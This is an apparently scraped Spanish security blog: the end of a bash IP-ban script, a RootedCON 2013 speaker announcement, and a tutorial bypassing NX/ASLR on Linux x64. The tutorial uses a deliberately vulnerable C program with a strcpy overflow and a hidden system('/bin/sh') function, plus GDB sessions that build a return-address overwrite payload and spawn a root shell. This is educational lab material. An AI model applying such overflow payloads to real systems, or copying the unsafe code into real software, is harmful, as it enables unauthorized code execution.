[ -f $BANNED_DBFILE ] && BANNED_TOTAL=$(cat $BANNED_DBFILE |wc -l)
[ -f $BANNED_DBFILE ] && [ $BANNED_TOTAL -ne 0 ] && cut -d" " -f1 $BANNED_DBFILE |cut -d= -f2
echo -e "\n\t[+] Total IPs actualmente BANEADAS: [$BANNED_TOTAL]\n"

PATH_TO_ME=${0}
FULL_ARGS=${@}
echo -e "\nLast run on $(hostname) at $(date) with\n$PATH_TO_ME $FULL_ARGS\nNow exiting - Have a nice day...\n"
[ $VERBOSE -eq 0 ] && echo -e "Do you wanna verbose output? just rerun me with -v switch!\n"

exit 0

martes, 5 de febrero de 2013

Publicada lista de ponentes RootedCON 2013

Sábado 9 de marzo
16:30 - 17:20 Albert López
Linux Heap Exploiting Revisited

et al.

Ponencias y ponentes.

We're all pioneers. And we're all surrounded by heroes -Joe Barr

martes, 22 de enero de 2013

NX/ASLR linux/x64 bypass

Hola Exploiters,

Llevaba un tiempo queriendo escribir sobre como un overflow puede permitirnos (with no shellcodes!) movernos por los flujos del codigo de un programa (previstos o no) asi que aqui van cosas como que NX no afecta si queremos desviar el flujo del programa hacia por ejemplo una funcion perteneciente al propio programa a explotar, que podemos llegar a ejecutar partes del programa que no deberiamos (password incorrecto? no problem, just let me in anyway).

Es una explotacion en un sistema Linux de 64 bits con kernel reciente blablabla y como veis existen condiciones en las que ASLR no afecta para nada (no infoleaks needed, no bruteforce needed... como si no existiera). A disfrutar.
### Some versions
root@bt:~# uname -a
Linux bt 3.2.6 #1 SMP Fri Feb 17 10:34:20 EST 2012 x86_64 GNU/Linux

### 64 bits S.O.
root@bt:~# getconf LONG_BIT
64

### Full ASLR
root@bt:~# cat /proc/sys/kernel/randomize_va_space 
2

### ASLR + NX
root@bt:~# bash checksec.sh --file vuln
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   vuln

### Code
root@bt:~# cat vuln.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
 
// gcc -o vuln vuln.c -fno-stack-protector -mpreferred-stack-boundary=4  #4 is min on x64
 
void nunca_se_ejecuta()
/* NUNCA SE LLAMA A ESTA FUNCION EN EL CODIGO */
/* call me if you can */
{
 system("/bin/sh");
 printf("SIGSEGV");
}
 
void vuln(char *buff)
{
 char tmp[8] = {'\0'};
 
 strcpy(tmp, buff);
 printf("-> %sn", tmp);
}
 
int main(int argc, char *argv[])
{
 if(argc != 2) {
  printf("%s <arg>n", argv[0]);
  exit(0);
 }
 printf("exploit me if you can");
 
 vuln(argv[1]);
 return 0;
}

### No SSP. Min preferred stack boundary on x64 is 4 bytes
root@bt:~# gcc -o vuln vuln.c -fno-stack-protector -mpreferred-stack-boundary=4

### Okay, let's GDB rocks:
root@bt:~# gdb -q vuln
Reading symbols from /root/vuln...(no debugging symbols found)...done.
(gdb) r `perl -e 'print "123456789012345678901234AAAA"'`
Starting program: /root/vuln `perl -e 'print "123456789012345678901234AAAA"'`

Program received signal SIGSEGV, Segmentation fault.
0x0000000041414141 in ?? ()

### The Segmentation fault is what we wanted to see. Let's disasm our target func
(gdb) disas nunca_se_ejecuta
Dump of assembler code for function nunca_se_ejecuta:
   0x0000000000400604 <+0>: push   %rbp
   0x0000000000400605 <+1>: mov    %rsp,%rbp
   0x0000000000400608 <+4>: mov    $0x4007c0,%edi
   0x000000000040060d <+9>: callq  0x4004f8 <system@plt>
   0x0000000000400612 <+14>: mov    $0x4007c8,%eax
   0x0000000000400617 <+19>: mov    %rax,%rdi
   0x000000000040061a <+22>: mov    $0x0,%eax
   0x000000000040061f <+27>: callq  0x4004c8 <printf@plt>
   0x0000000000400624 <+32>: leaveq 
   0x0000000000400625 <+33>: retq   
End of assembler dump.

### Si queremos entrar a la funcion que nunca se llama, podemos saltar aqui:
0x0000000000400608 <+4>: mov    $0x4007c0,%edi
¿Muchos NULLs? No problem, podemos llegar a esa direccion de memoria en direccionamiento 64 bits saltando a 0x00400608. ¿Aun hay un byte nulo que abortaria el programa? tsetse, little-endian al rescate:
(gdb) r `perl -e 'print "123456789012345678901234\x08\x06\x40\x00"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /root/vuln `perl -e 'print "123456789012345678901234\x08\x06\x40\x00"'`
sh-4.1# whoami
root
:)
sh-4.1# exit

Program received signal SIGSEGV, Segmentation fault.
0x00007fffffffe4a8 in ?? ()

## bye
(gdb) q
A debugging session is active.

 Inferior 1 [process 20741] will be killed.

Quit anyway? (y or n) y
root@bt:~#
Probado en un kernel 4.1.7-grsec , system() sigue devolviendonos una shell, y una vez salimos de la shell, cuando retornamos de la funcion, PaX mata el programa explotado.

Have fun-